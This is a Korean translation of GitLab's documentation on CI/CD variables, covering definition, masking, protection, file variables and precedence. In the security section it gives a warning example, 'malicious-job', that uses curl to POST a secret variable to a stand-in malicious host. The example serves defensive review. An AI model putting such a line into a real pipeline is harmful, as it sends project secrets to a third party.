GitLab CI/CD 변수

Tier: Free, Premium, Ultimate Offering: GitLab.com, Self-managed, GitLab Dedicated

CI/CD 변수는 환경 변수의 일종입니다. 이를 통해 다음을 수행할 수 있습니다:

  • 작업 및 파이프라인의 동작을 제어합니다.
  • 재사용할 값을 저장합니다.
  • .gitlab-ci.yml 파일에 값을 하드코딩하는 것을 피합니다.

특정 파이프라인에 대해 변수 값을 재정의할 수 있습니다 파이프라인을 수동으로 실행할 때, 수동 작업을 실행할 때, 또는 수동 파이프라인에 미리 채워진 변수를 설정할 수 있습니다.

변수 이름은 러너가 사용하는 쉘에 의해 제한됩니다. 각 쉘은 고유한 예약 변수 이름 세트를 가지고 있습니다.

일관된 동작을 보장하기 위해 항상 변수 값을 단일 또는 이중 따옴표로 감싸야 합니다. 변수는 Psych YAML 파서에서 내부적으로 파싱되므로, 따옴표가 있는 변수와 없는 변수가 다르게 파싱될 수 있습니다. 예를 들어, VAR1: 012345는 8진수 값으로 해석되어 값이 5349가 되지만, VAR1: "012345"는 값이 012345인 문자열로 파싱됩니다.

GitLab CI/CD의 고급 사용에 대한 자세한 정보는 GitLab 엔지니어가 공유한 7가지 고급 GitLab CI 워크플로 해킹을 참조하세요.

미리 정의된 CI/CD 변수

GitLab CI/CD는 파이프라인 구성 및 작업 스크립트에서 사용할 수 있는 미리 정의된 CI/CD 변수를 제공합니다. 이러한 변수는 작업, 파이프라인 및 파이프라인이 트리거되거나 실행될 때 필요할 수 있는 기타 값에 대한 정보를 포함합니다.

미리 정의된 CI/CD 변수를 .gitlab-ci.yml 파일에서 먼저 선언하지 않고 사용할 수 있습니다. 예를 들어:

job1:
  stage: test
  script:
    - echo "The job's stage is '$CI_JOB_STAGE'"

이 예제의 스크립트는 The job's stage is 'test'를 출력합니다.

.gitlab-ci.yml 파일에 CI/CD 변수 정의

.gitlab-ci.yml 파일에서 CI/CD 변수를 생성하려면 변수와 값을 variables 키워드로 정의합니다.

.gitlab-ci.yml 파일에 저장된 변수는 저장소에 접근할 수 있는 모든 사용자에게 노출되며, 비밀이 아닌 프로젝트 구성만 저장해야 합니다. 예를 들어, DATABASE_URL 변수에 저장된 데이터베이스의 URL. 비밀 값이나 키와 같은 민감한 변수는 UI에서 추가해야 합니다.

변수는 작업 내에서 또는 .gitlab-ci.yml 파일의 최상위 수준에서 사용할 수 있습니다. 변수가 정의된 경우:

  • 최상위 수준에서 정의된 경우, 전역적으로 사용 가능하며 모든 작업에서 사용할 수 있습니다.
  • 작업 내에서 정의된 경우, 해당 작업에서만 사용할 수 있습니다.

예를 들어:

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables:
    JOB_VAR: "A job variable"
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

job2:
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

이 예제에서:

  • job1은 Variables are 'A global variable' and 'A job variable'를 출력합니다.
  • job2는 Variables are 'A global variable' and ''를 출력합니다.

value 및 description 키워드를 사용하여 수동으로 트리거된 파이프라인에 대해 미리 채워진 변수를 정의할 수 있습니다.

단일 작업에서 전역 변수 스킵하기

전역으로 정의된 변수를 작업에서 사용할 수 없도록 하려면 variables를 {}로 설정합니다:

variables:
  GLOBAL_VAR: "전역 변수"

job1:
  variables: {}
  script:
    - echo 이 작업은 변수가 필요하지 않습니다

UI에서 CI/CD 변수 정의하기

토큰이나 비밀번호와 같은 민감한 변수는 UI의 설정에 저장해야 하며, .gitlab-ci.yml 파일에 저장하지 마세요.

UI에서 CI/CD 변수를 추가합니다:

또는 API를 사용하여 이러한 변수를 추가할 수 있습니다:

기본적으로, 포크된 프로젝트에서 파이프라인은 부모 프로젝트에서 사용할 수 있는 CI/CD 변수에 접근할 수 없습니다.

포크에서 병합 요청에 대한 부모 프로젝트에서 병합 요청 파이프라인을 실행하면 모든 변수가 파이프라인에서 사용 가능해집니다.

프로젝트에 대한

  • 도입됨 GitLab 15.7에서, 프로젝트는 최대 200개의 CI/CD 변수를 가질 수 있습니다.
  • 업데이트됨 GitLab 15.9에서, 프로젝트는 최대 8000개의 CI/CD 변수를 가질 수 있습니다.

프로젝트의 설정에 CI/CD 변수를 추가할 수 있습니다.

전제 조건:

  • Maintainer 역할을 가진 프로젝트 구성원이어야 합니다.

프로젝트 설정에 변수를 추가하거나 업데이트하려면:

  1. 왼쪽 사이드바에서 검색 또는 이동을 선택하고 프로젝트를 찾습니다.
  2. 설정 > CI/CD를 선택합니다.
  3. 변수를 확장합니다.
  4. 변수 추가를 선택하고 세부 정보를 입력합니다:
    • 키: 한 줄이어야 하며, 공백 없이, 문자, 숫자 또는 _만 사용해야 합니다.
    • 값: 제한 없음.
    • 유형: Variable(기본값) 또는 File.
    • 환경 범위: 선택사항. 모두(기본값)(*), 특정 환경, 또는 와일드카드 환경 범위.
    • 변수 보호: 선택사항. 선택하면 이 변수는 보호된 브랜치에서 실행되는 파이프라인에만 사용 가능합니다.
    • 가시성: 가시성(기본값), 마스킹됨 또는 마스킹되고 숨겨짐(새 변수를 위한 경우에만 사용 가능).

변수를 생성한 후에는 이를 파이프라인 구성이나 작업 스크립트에서 사용할 수 있습니다.

그룹 용

그룹의 모든 프로젝트에서 CI/CD 변수를 사용할 수 있습니다.

필수 조건:

  • 그룹의 소유자 역할을 가진 구성원이어야 합니다.

그룹 변수를 추가하려면:

  1. 왼쪽 사이드바에서 검색 또는 이동을 선택하고 그룹을 찾습니다.

  2. 설정 > CI/CD를 선택합니다.

  3. 변수를 확장합니다.

  4. 변수 추가를 선택하고 세부정보를 입력합니다:

    • 키: 한 줄로, 공백 없이, 문자, 숫자 또는 _만 사용할 수 있습니다.
    • 값: 제한 사항 없음.
    • 유형: 변수 (기본값) 또는 파일.
    • 변수 보호 선택 사항. 선택하면, 이 변수는 보호된 브랜치에서 실행되는 파이프라인 또는 보호된 태그에서만 사용 가능합니다.
    • 가시성: 가시성(기본값), 마스킹됨 또는 마스킹되고 숨김 (새로운 변수에만 사용 가능) 중에서 선택합니다.

프로젝트에서 사용할 수 있는 그룹 변수는 프로젝트의 설정 > CI/CD > 변수 섹션에 나열됩니다. 서브그룹에서 변수를 재귀적으로 상속받습니다.

환경 범위

Tier: Premium, Ultimate

특정 환경에 대해서만 그룹 CI/CD 변수를 사용할 수 있도록 설정하려면:

  1. 왼쪽 사이드바에서 검색 또는 이동을 선택하고 그룹을 찾습니다.

  2. 설정 > CI/CD를 선택합니다.

  3. 변수를 확장합니다.

  4. 변수 오른쪽에서 편집({연필})을 선택합니다.

  5. 환경 범위에서 모두(기본값)(*), 특정 환경 또는 와일드카드 환경 범위를 선택합니다.

인스턴스 용

Tier: Free, Premium, Ultimate Offering: Self-managed, GitLab Dedicated

모든 GitLab 인스턴스의 프로젝트 및 그룹에서 CI/CD 변수를 사용할 수 있습니다.

필수 조건:

  • 인스턴스에 대한 관리자 액세스 권한이 있어야 합니다.

인스턴스 변수를 추가하려면:

  1. 왼쪽 사이드바 하단에서 관리자를 선택합니다.

  2. 설정 > CI/CD를 선택합니다.

  3. 변수를 확장합니다.

  4. 변수 추가를 선택하고 세부정보를 입력합니다:

    • 키: 한 줄로, 공백 없이, 문자, 숫자 또는 _만 사용할 수 있습니다.
    • 값: 값은 10,000자로 제한되지만, 러너의 운영 체제에서의 모든 제한에도 영향을 받습니다.
    • 유형: 변수 (기본값) 또는 파일.
    • 변수 보호 선택 사항. 선택하면, 이 변수는 보호된 브랜치에서 실행되는 파이프라인 또는 보호된 태그에서만 사용 가능합니다.
    • 가시성: 가시성(기본값), 마스킹됨 또는 마스킹되고 숨김 (새로운 변수에만 사용 가능) 중에서 선택합니다.

CI/CD 변수 보안

.gitlab-ci.yml 파일에 푸시된 코드는 변수의 보안을 위협할 수 있습니다. 변수는 작업 로그에 우연히 노출되거나 악의적으로 제3자 서버에 전송될 수 있습니다.

변경 사항을 도입하는 모든 병합 요청을 검토한 후 .gitlab-ci.yml` 파일:

파일을 추가하거나 해당 파일에 대해 파이프라인을 실행하기 전에 가져온 프로젝트의 .gitlab-ci.yml 파일을 검토합니다.

다음 예시는 .gitlab-ci.yml 파일 내 악의적인 코드를 보여줍니다:

accidental-leak-job:
  script:                                         # 비밀번호가 우연히 노출됨
    - echo "이 스크립트는 $USER $PASSWORD로 DB에 로그인합니다"
    - db-login $USER $PASSWORD

malicious-job:
  script:                                         # 비밀이 악의적으로 노출됨
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

accidental-leak-job에서와 같이 스크립트를 통해 비밀이 우연히 유출되는 위험을 줄이기 위해, 민감한 정보를 포함하는 모든 변수는 항상 작업 로그에서 마스킹되어야 합니다.

변수를 보호된 브랜치 및 태그로만 제한할 수도 있습니다.

또는 기본 GitLab 통합 중 하나를 사용하여 제3자 비밀 관리 제공업체와 연결하여 비밀을 저장하고 검색하세요:

네이티브 통합이 없는 비밀 관리자를 위해 OpenID Connect (OIDC) 인증을 사용할 수도 있습니다.

malicious-job에서와 같은 악의적인 스크립트는 검토 과정에서 발견해야 합니다.

검토자는 이러한 코드를 발견했을 때 파이프라인을 트리거해서는 안 됩니다, 왜냐하면 악의적인 코드는 마스킹된 변수와 보호된 변수를 모두 위협할 수 있습니다.

변수 값은 aes-256-cbc를 사용하여 암호화되어 데이터베이스에 저장됩니다. 이 데이터는 유효한 비밀 파일로만 읽고 복호화할 수 있습니다.

CI/CD 변수 마스킹하기

경고: CI/CD 변수를 마스킹하는 것은 악의적인 사용자가 변수 값에 접근하는 것을 방지하는 보장된 방법이 아닙니다. 민감한 정보의 보안을 보장하려면, 외부 비밀 및 파일 유형 변수를 사용하여 env/printenv와 같은 명령이 비밀 변수를 출력하지 않도록 하는 것을 고려하세요.

프로젝트, 그룹 또는 인스턴스 CI/CD 변수를 마스킹하여 변수의 값이 작업 로그에 표시되지 않도록 할 수 있습니다.

마스킹된 CI/CD 변수가 작업 로그에 표시되면, 값은 [masked]로 대체되어 노출되는 것을 방지합니다.

사전 요구 사항:

변수를 마스킹하려면:

  1. 그룹, 프로젝트 또는 관리자 영역에서 설정 > CI/CD를 선택합니다.

  2. 변수를 확장합니다.

  3. 보호하려는 변수 옆에서 편집을 선택합니다.

  4. 가시성 아래에서 변수 마스킹을 선택합니다.

  5. 변수 업데이트를 선택합니다.

변수를 마스킹하는 방법은 마스킹된 변수에 포함될 수 있는 내용을 제한합니다. 변수의 값은:

  • 공백 없이 한 줄이어야 합니다.
  • 8자 이상이어야 합니다.
  • 기존의 정의된 CI/CD 변수 또는 사용자 정의 CI/CD 변수의 이름과 일치하지 않아야 합니다.
  • @, _, -, :, 또는 + 이외의 비알파벳 및 비숫자 문자를 포함할 수 없습니다.

추가로, 변수 확장이 활성화된 경우, 값은 다음만 포함할 수 있습니다:

  • Base64 알파벳에 해당하는 문자 (RFC4648).
  • @, :, ., 또는 ~ 문자.

변수를 마스킹하면 작업 로그의 어느 곳에서나 값이 자동으로 마스킹됩니다.

동일한 값을 가진 다른 변수도 마스킹되며, 마스킹된 변수를 참조하는 경우에도 마찬가지입니다. 문자열 [MASKED]는 값 대신 표시되며, 아마도 일부 후행 x 문자가 포함될 수 있습니다.

다양한 버전의 GitLab Runner는 서로 다른 마스킹 제한을 가지고 있습니다:

버전 제한 사항
v14.1.0 이전 대형 비밀(4 KiB 초과)의 마스킹은 노출될 수 있습니다. 민감한 URL 매개변수 마스킹이 없음.
v14.2.0 ~ v15.3.0 대형 비밀의 끝 부분(4 KiB 초과)은 노출될 수 있습니다. 민감한 URL 매개변수 마스킹이 없음.
v15.7.0 이후 CI_DEBUG_SERVICES가 활성화된 경우 비밀가 노출될 수 있습니다. 자세한 내용은 서비스 컨테이너 로깅을 참조하세요.

CI/CD 변수를 숨기기

  • GitLab 17.4에서 ci_hidden_variables라는 플래그와 함께 도입됨. 기본적으로 활성화되어 있습니다.
이 기능의 사용 가능성은 기능 플래그에 의해 제어됩니다.

자세한 정보는 히스토리를 참조하세요.

마스킹 외에도 CI/CD 설정 페이지에서 CI/CD 변수의 값을 표시되지 않도록 방지할 수 있습니다. 변수를 숨기는 것은 새 변수를 생성할 때만 가능하며, 기존 변수를 숨기도록 업데이트할 수는 없습니다.

선행 조건:

변수를 숨기려면, UI에서 새 CI/CD 변수를 추가할 때 Visibility 섹션에서 Masked and hidden을 선택합니다. 변수를 저장한 후, 해당 변수는 CI/CD 파이프라인에서 사용될 수 있지만, UI에서 다시 표시될 수는 없습니다.

CI/CD 변수를 보호하기

프로젝트, 그룹 또는 인스턴스 CI/CD 변수를 protected branches 혹은 protected tags에서만 사용 가능하도록 구성할 수 있습니다.

Merged results pipelines와 merge request pipelines는 이러한 변수에 접근할 수 없습니다.

선행 조건:

변수를 보호된 상태로 설정하려면:

  1. 프로젝트 또는 그룹의 Settings > CI/CD로 이동합니다.

  2. Variables를 확장합니다.

  3. 보호하려는 변수 옆에서 Edit를 선택합니다.

  4. Protect variable 체크박스를 선택합니다.

  5. Update variable를 선택합니다.

변수는 이후의 모든 파이프라인에서 사용할 수 있습니다.

파일 유형 CI/CD 변수 사용하기

모든 사전 정의된 CI/CD 변수와 .gitlab-ci.yml 파일에 정의된 변수는 “variable” 유형입니다 (API에서 env_var의 variable_type으로 나타남).

변수 유형 변수는 다음과 같습니다:

  • 키와 값 쌍으로 구성됩니다.
  • 다음과 같이 환경 변수로 작업에서 제공됩니다:
    • CI/CD 변수 키가 환경 변수 이름입니다.
    • CI/CD 변수 값이 환경 변수 값입니다.

프로젝트, 그룹 및 인스턴스 CI/CD 변수는 기본적으로 “variable” 유형이지만 선택적으로 “file” 유형으로 설정될 수 있습니다 (API에서 file의 variable_type으로 나타남).

파일 유형 변수는 다음과 같습니다:

  • 키, 값, 파일로 구성됩니다.
  • 다음과 같이 환경 변수로 작업에서 제공됩니다:
    • CI/CD 변수 키가 환경 변수 이름입니다.
    • CI/CD 변수 값이 임시 파일에 저장됩니다.
    • 임시 파일의 경로가 환경 변수 값입니다.

파일을 입력으로 필요로 하는 도구에 대해 파일 유형 CI/CD 변수를 사용하세요. AWS CLI와 kubectl 모두 구성에 File 유형 변수를 사용하는 도구입니다.

예를 들어 kubectl을 사용할 때:

  • KUBE_URL의 키와 https://example.com의 값을 가진 변수가 있습니다.
  • 인증서의 값을 가진 파일 유형 변수가 KUBE_CA_PEM의 키와 함께 있습니다.

KUBE_URL을 --server 옵션으로 전달하고, $KUBE_CA_PEM을 파일 경로를 받는 --certificate-authority 옵션으로 전달합니다:

kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"

경고: GitLab 15.6 이하에서 파일 변수의 값을 다른 변수에 할당할 때 주의하세요. 다른 변수는 파일의 내용을 값으로 취하고, 파일의 경로가 아니라 값으로 취하게 됩니다.

GitLab 15.7 이상에서는 이 동작이 수정되었습니다와 이제 다른 변수는 파일의 경로를 값으로 받아들입니다.

.gitlab-ci.yml 변수를 파일 유형 변수로 사용하기

.gitlab-ci.yml 파일에 정의된 CI/CD 변수를 파일 유형 변수로 설정할 수 없습니다.

파일 경로를 입력으로 요구하는 도구가 있지만, .gitlab-ci.yml에 정의된 변수를 사용하려면 다음을 수행하세요:

  • 변수의 값을 파일에 저장하는 명령어를 실행합니다.
  • 해당 파일을 도구와 함께 사용합니다.

예를 들어:

variables:
  SITE_URL: "https://gitlab.example.com"

job:
  script:
    - echo "$SITE_URL" > "site-url.txt"
    - mytool --url-file="site-url.txt"

작업 스크립트에서 CI/CD 변수 사용하기

모든 CI/CD 변수는 작업의 환경에서 환경 변수로 설정됩니다.

작업 스크립트에서 각 환경의 셸에 대한 표준 형식으로 변수를 사용할 수 있습니다.

환경 변수를 액세스하려면 러너 실행 프로그램의 셸에 대한 구문을 사용하세요.

Bash, sh 및 유사한 셸에서

Bash, sh 및 유사한 셸에서 환경 변수에 액세스하려면 CI/CD 변수 앞에 ($)를 붙입니다:

job_name:
  script:
    - echo "$CI_JOB_ID"

PowerShell에서

Windows PowerShell 환경에서 변수를 액세스하려면, 시스템에서 설정한 환경 변수를 포함하여 변수 이름 앞에 $env: 또는 $를 붙입니다:

job_name:
  script:
    - echo $env:CI_JOB_ID
    - echo $CI_JOB_ID
    - echo $env:PATH

일부 경우 환경 변수는 올바르게 확장되도록 인용 부호로 감싸야 합니다:

job_name:
  script:
    - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test

Windows 배치에서

Windows 배치에서 CI/CD 변수에 액세스하려면 변수를 %로 감싸야 합니다:

job_name:
  script:
    - echo %CI_JOB_ID%

!로 변수를 감싸 지연 확장을 사용할 수도 있습니다. 지연 확장은 공백이나 줄 바꿈이 포함된 변수에 필요할 수 있습니다:

job_name:
  script:
    - echo !ERROR_MESSAGE!

서비스 컨테이너에서

서비스 컨테이너는 CI/CD 변수를 사용할 수 있지만, 기본적으로는 .gitlab-ci.yml 파일에 저장된 변수만 접근할 수 있습니다.

GitLab UI에서 추가된 변수는 기본적으로 신뢰되지 않기 때문에 서비스 컨테이너에서 사용할 수 없습니다.

UI에서 정의된 변수를 서비스 컨테이너에 사용할 수 있도록 하려면, .gitlab-ci.yml에서 다른 변수에 재할당할 수 있습니다:

variables:
  SA_PASSWORD_YAML_FILE: $SA_PASSWORD_UI

재할당된 변수는 원래 변수와 동일한 이름을 가질 수 없습니다. 그렇지 않으면 확장되지 않습니다.

환경 변수를 다른 작업에 전달하기

작업에서 새로운 환경 변수를 생성하고, 이후 단계의 다른 작업에 전달할 수 있습니다. 이러한 변수는 파이프라인을 구성하기 위한 CI/CD 변수로 사용할 수 없지만, 작업 스크립트에서는 사용할 수 있습니다.

작업에서 생성된 환경 변수를 다른 작업에 전달하려면:

  1. 작업 스크립트에서 변수를 .env 파일로 저장합니다.
    • 파일 형식은 한 줄에 하나의 변수 정의여야 합니다.
    • 각 줄은 다음과 같이 형식화되어야 합니다: VARIABLE_NAME=여기에 원하는 값.
    • 값은 인용 부호로 감쌀 수 있지만, 줄 바꿈 문자는 포함할 수 없습니다.

  2. .env 파일을 artifacts:reports:dotenv 아티팩트로 저장합니다.

  3. 이후 단계의 작업은 스크립트에서 변수를 사용할 수 있습니다.

예를 들어:

build-job:
  stage: build
  script:
    - echo "BUILD_VARIABLE=value_from_build_job" >> build.env
  artifacts:
    reports:
      dotenv: build.env

test-job:
  stage: test
  script:
    - echo "$BUILD_VARIABLE"  # 출력: 'value_from_build_job'

dotenv 보고서의 변수는 우선 순위에서 특정 유형의 새 변수 정의보다 우선합니다.

또한 다운스트림 파이프라인에 dotenv 변수를 전달할 수 있습니다.

dotenv 변수를 받을 작업 제어하기

dependencies 또는 needs 키워드를 사용하여 어떤 작업이 dotenv 아티팩트를 받을지 제어할 수 있습니다.

dotenv 아티팩트에서 환경 변수를 받지 않으려면:

  • 빈 dependencies 또는 needs 배열을 전달합니다.
  • needs:artifacts를 false로 설정합니다.
  • needs를 설정하여 dotenv 아티팩트가 없는 작업만 나열합니다.

예를 들어:

build-job1:
  stage: build
  script:
    - echo "BUILD_VERSION=v1.0.0" >> build.env
  artifacts:
    reports:
      dotenv: build.env

build-job2:
  stage: build
  needs: []
  script:
    - echo "이 작업은 dotenv 아티팩트가 없습니다"

test-job1:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력: 'v1.0.0'
  dependencies:
    - build-job1

test-job2:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력: ''
  dependencies: []

test-job3:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력: 'v1.0.0'
  needs:
    - build-job1

test-job4:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력: 'v1.0.0'
  needs:
    - job: build-job1
      artifacts: true

test-job5:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # 출력: ''
  needs:
    - job: build-job1
      artifacts: false

test-job6:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # 출력: ''
  needs:
    - build-job2

script 섹션에서 다른 섹션으로 환경 변수 전달하기

$GITLAB_ENV를 사용하여 script 섹션에서 정의된 환경 변수를 같은 작업의 다른 섹션으로 전달합니다.

예를 들어:

build-job:
  stage: build
  script:
    - echo "ARCH=$(arch)" >> $GITLAB_ENV
    - touch some-file-$(arch)
  artifacts:
    paths:
      - some-file-$ARCH

변수를 다른 스테이지에서 참조하려면, 변수를 $GITLAB_ENV와 .env 파일 모두에 작성합니다:

build-job:
  stage: build
  script:
    - echo "ARCH=$(arch)" | tee >> $GITLAB_ENV build.env
    - touch some-file-$(arch)
  artifacts:
    paths:
      - some-file-$ARCH
    reports:
      dotenv: build.env

release-job:
  stage: release
  script:
    - curl --upload-file some-file-$ARCH "https://example.com/some-file-$ARCH"

하나의 변수에 여러 값 저장하기

값의 배열인 CI/CD 변수를 생성할 수는 없지만, 유사한 동작을 위해 셸 스크립팅 기법을 사용할 수 있습니다.

예를 들어, 변수에 공백으로 구분된 여러 값을 저장한 다음, 스크립트로 값을 반복할 수 있습니다:

job1:
  variables:
    FOLDERS: src test docs
  script:
    - |
      for FOLDER in $FOLDERS
        do
          echo "경로는 root/${FOLDER}입니다"
        done

CI/CD 변수 다른 변수에서 사용하기

변수를 다른 변수 안에서 사용할 수 있습니다:

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS"'
  script:
    - 'eval "$LS_CMD"'  # 'ls -al' 실행

CI/CD 변수에서 $ 문자 사용하기

$ 문자가 다른 변수의 시작으로 해석되지 않도록 하려면,

$$를 대신 사용하세요:

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
  script:
    - 'eval "$LS_CMD"'  # 'ls -al $TMP_DIR' 실행

CI/CD 변수 확장 방지

확장된 변수는 $ 문자가 있는 값을 다른 변수에 대한 참조로 처리합니다.

CI/CD 변수는 기본적으로 확장됩니다. $ 문자가 있는 변수를 원시 문자열로 처리하려면,

변수에 대한 확장 기능을 비활성화하세요.

사전 요구 사항:

변수에 대한 확장 기능을 비활성화하려면:

  1. 프로젝트나 그룹에서 Settings > CI/CD로 이동합니다.
  2. Variables를 확장합니다.
  3. 확장하고 싶지 않은 변수 옆에서 Edit를 선택합니다.
  4. Expand variable 체크박스를 해제합니다.
  5. Update variable를 선택합니다.

CI/CD 변수 우선 순위

같은 이름을 가진 CI/CD 변수를 다양한 위치에서 사용할 수 있지만, 값이 서로 덮어씌워질 수 있습니다.

변수의 종류와 정의된 위치에 따라 어떤 변수가 우선시되는지가 결정됩니다.

변수의 우선 순위는 (높은 것에서 낮은 것까지):

  1. 파이프라인 실행 정책 변수.
  2. 스캔 실행 정책 변수.
  3. 파이프라인 변수. 이 변수들은 모두 동일한 우선 순위를 가집니다:
  4. 프로젝트 변수.
  5. 그룹 변수. 같은 변수 이름이 그룹과 그 하위 그룹에 존재하는 경우, 작업은 가장 가까운 하위 그룹의 값을 사용합니다. 예를 들어, Group > Subgroup 1 > Subgroup 2 > Project가 있는 경우, Subgroup 2에서 정의된 변수가 우선됩니다.
  6. 인스턴스 변수.
  7. dotenv 보고서에서 온 변수.
  8. .gitlab-ci.yml 파일에서 작업의 정의된 변수.
  9. .gitlab-ci.yml 파일에서 작업 외부(전역)로 정의된 변수.
  10. 배포 변수.
  11. 선정된 변수.

예를 들어:

variables:
  API_TOKEN: "default"

job1:
  variables:
    API_TOKEN: "secure"
  script:
    - echo "The variable is '$API_TOKEN'"

이 예시에서 job1은 The variable is 'secure'을 출력합니다. 왜냐하면 .gitlab-ci.yml 파일에서 작업 내에서 정의된 변수가 전역적으로 정의된 변수보다 우선 순위가 높기 때문입니다.

정의된 CI/CD 변수 재정의

변수의 값을 재정의할 수 있습니다. 여기에는 미리 정의된 변수가 포함됩니다. 다음을 수행할 때 가능합니다:

대부분의 경우 미리 정의된 변수를 재정의하는 것은 피해야 하며, 이는 파이프라인이 예기치 않게 작동할 수 있기 때문입니다.

변수를 재정의할 수 있는 사용자 제한

변수를 재정의할 수 있는 능력을 최소한 Maintainer 역할을 가진 사용자로 제한할 수 있습니다.

다른 사용자가 재정의된 변수로 파이프라인을 실행하려고 할 때,

파이프라인 변수를 설정할 수 있는 권한이 부족합니다라는 오류 메시지를 받게 됩니다.

프로젝트 API를 사용하여 restrict_user_defined_variables 설정을 활성화하여 이 기능을 엽니다. 이 설정은 기본적으로 비활성화됨입니다.

CI/CD 구성을 다른 저장소에 저장하는 경우, 파이프라인이 실행되는 환경을 제어하기 위해 이 설정을 사용합니다.

최소 역할에 따라

restrict_user_defined_variables 옵션이 활성화된 경우, 변수 재정의가 가능한 역할을 지정할 수 있습니다.

ci_pipeline_variables_minimum_override_role 설정으로 설정할 수 있습니다.

설정을 변경하려면 프로젝트 API를 사용하여 ci_pipeline_variables_minimum_override_role를 다음 중 하나로 수정합니다:

  • owner: 오직 Owner 역할을 가진 사용자만 변수를 재정의할 수 있습니다. 이 값을 변경하려면 프로젝트에 대해 Owner 역할을 가져야 합니다.
  • maintainer: 최소한 Maintainer 역할을 가진 사용자만 변수를 재정의할 수 있습니다. 명시되지 않은 경우 기본값입니다.
  • developer: 최소한 Developer 역할을 가진 사용자만 변수를 재정의할 수 있습니다.
  • no_one_allowed: 사용자는 변수를 재정의할 수 없습니다.

최소 역할을 owner로 설정하면, 최소한 owner 역할을 가진 사용자만 ci_pipeline_variables_minimum_override_role 및 restrict_user_defined_variables 설정을 업데이트할 수 있습니다.

변수 내보내기

별도의 셸 컨텍스트에서 실행된 스크립트는 내보내기, 별칭, 로컬 함수 정의 또는 기타 로컬 셸 업데이트를 공유하지 않습니다.

이는 작업이 실패할 경우, 사용자 정의 스크립트에 의해 생성된 변수가 내보내지지 않음을 의미합니다.

러너가 .gitlab-ci.yml에 정의된 작업을 실행할 때:

  • before_script와 기본 스크립트에서 지정된 스크립트는 단일 셸 컨텍스트에서 함께 실행되며 연결됩니다.
  • after_script에서 지정된 스크립트는 before_script와 지정된 스크립트와는 완전히 분리된 셸 컨텍스트에서 실행됩니다.

스크립트가 실행되는 셸에 상관없이, 러너 출력에는 다음이 포함됩니다:

  • 미리 정의된 변수.
  • 다음에서 정의된 변수:
    • 인스턴스, 그룹 또는 프로젝트 CI/CD 설정.
    • .gitlab-ci.yml 파일의 variables: 섹션.
    • .gitlab-ci.yml 파일의 secrets: 섹션.
    • config.toml.

러너는 수동 내보내기, 셸 별칭 및 스크립트 본문에서 실행되는 함수(export MY_VARIABLE=1과 같은)를 처리할 수 없습니다.

예를 들어, 다음 .gitlab-ci.yml 파일에서 다음과 같은 스크립트가 정의됩니다:

job:
 variables:
   JOB_DEFINED_VARIABLE: "job variable"
 before_script:
   - echo "이것은 'before_script' 스크립트입니다"
   - export MY_VARIABLE="변수"
 script:
   - echo "이것은 'script' 스크립트입니다"
   - echo "JOB_DEFINED_VARIABLE의 값은 ${JOB_DEFINED_VARIABLE}입니다"
   - echo "CI_COMMIT_SHA의 값은 ${CI_COMMIT_SHA}입니다"
   - echo "MY_VARIABLE의 값은 ${MY_VARIABLE}입니다"
 after_script:
   - echo "JOB_DEFINED_VARIABLE의 값은 ${JOB_DEFINED_VARIABLE}입니다"
   - echo "CI_COMMIT_SHA의 값은 ${CI_COMMIT_SHA}입니다"
   - echo "MY_VARIABLE의 값은 ${MY_VARIABLE}입니다"

러너가 작업을 실행할 때:

  1. before_script가 실행됩니다:
    1. 출력에 프린트됩니다.
    2. MY_VARIABLE에 대한 변수가 정의됩니다.
  2. script가 실행됩니다:
    1. 출력에 프린트됩니다.
    2. JOB_DEFINED_VARIABLE의 값을 프린트합니다.
    3. CI_COMMIT_SHA의 값을 프린트합니다.
    4. MY_VARIABLE의 값을 프린트합니다.
  3. after_script가 새로운 분리된 셸 컨텍스트에서 실행됩니다:
    1. 출력에 프린트됩니다.
    2. JOB_DEFINED_VARIABLE의 값을 프린트합니다.
    3. CI_COMMIT_SHA의 값을 프린트합니다.
    4. MY_VARIABLE의 빈 값을 프린트합니다. after_script는 before_script와는 별도의 셸 컨텍스트에 있기 때문에 변수 값을 감지할 수 없습니다.

관련 주제

문제 해결

모든 변수 목록

스크립트에서 사용할 수 있는 모든 변수를 export 명령어 및 Bash 또는 PowerShell의 dir env: 명령어로 나열할 수 있습니다.

이것은 모든 사용 가능한 변수의 값을 노출합니다. 이는 보안 위험이 될 수 있습니다. 마스킹된 변수는 [MASKED]로 표시됩니다.

예를 들어, Bash로는 다음과 같습니다:

job_name:
  script:
    - export

예제 작업 로그 출력(일부 생략됨):

export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="main"
export CI_REPOSITORY_URL="https://gitlab-ci-token:[MASKED]@example.com/gitlab-org/gitlab.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"
export CI_JOB_TOKEN="[MASKED]"
export CI_PIPELINE_ID="1000"
export CI_PIPELINE_IID="10"
export CI_PAGES_DOMAIN="gitlab.io"
export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab"
export CI_PROJECT_ID="34"
export CI_PROJECT_DIR="/builds/gitlab-org/gitlab"
export CI_PROJECT_NAME="gitlab"
export CI_PROJECT_TITLE="GitLab"
...

디버그 로깅 활성화

경고: 디버그 로깅은 심각한 보안 위험이 될 수 있습니다. 출력에는 작업에 사용 가능한 모든 변수의 내용이 포함됩니다. 출력은 GitLab 서버에 업로드되며, 작업 로그에서 확인할 수 있습니다.

